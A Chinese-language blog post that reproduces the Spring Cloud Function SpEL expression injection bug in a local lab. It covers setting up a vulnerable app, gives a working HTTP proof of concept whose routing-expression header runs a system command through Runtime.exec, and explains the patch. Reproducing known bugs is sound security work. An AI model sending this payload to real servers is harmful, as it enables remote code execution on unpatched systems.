漏洞复现 - Spring Cloud Function SpEL 表达式注入

举报
亿人安全 发表于 2023/05/30 21:55:20 2023/05/30
【摘要】 漏洞描述Spring Cloud Function 是基于 Spring Boot 的函数计算框架(FaaS),当其启用动态路由 functionRouter 时, HTTP 请求头 spring.cloud.function.routing-expression 参数存在 SPEL 表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行影响版本3.0.0.RELEASE <= Spring C...

漏洞描述

Spring Cloud Function 是基于 Spring Boot 的函数计算框架(FaaS),当其启用动态路由 functionRouter 时, HTTP 请求头 spring.cloud.function.routing-expression 参数存在 SPEL 表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

编译好的项目 https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用 idea 新增一个 spring lnitializr 项目,选择与环境匹配的 java 版本

image-20220327031717440

添加 spring web 和 function

image-20220327034700585

右侧栏选择 maven-package 编译 jar 包

image-20220327032051432

编译完成后运行 jar 包

PLAINTEXT

1
java -jar demo-0.0.1-SNAPSHOT.jar

image-20220327032245869

访问 127.0.0.1:8080 出现下图说明搭建成功

image-20220327032254783

发送 poc,成功执行命令

PLAINTEXT

1
2
3
4
5
6
7
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx

image-20220327032802779

漏洞原理

位于 RoutingFunctionTests.java 的 128 行,可以清楚地看出 Http 头部构造方式

image-20220327015450579

从官方补丁对比可看出新增了 SimpleEvaluationContext,用于限制外部输入解析,在解析前先判断 spring.cloud.function.routing-expression 的值是否取自 http 头,外部输入使用 SimpleEvaluationContext,非外部输入使用 StandardEvaluationContext 进行解析

image-20220327020710704

image-20220327034222539

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。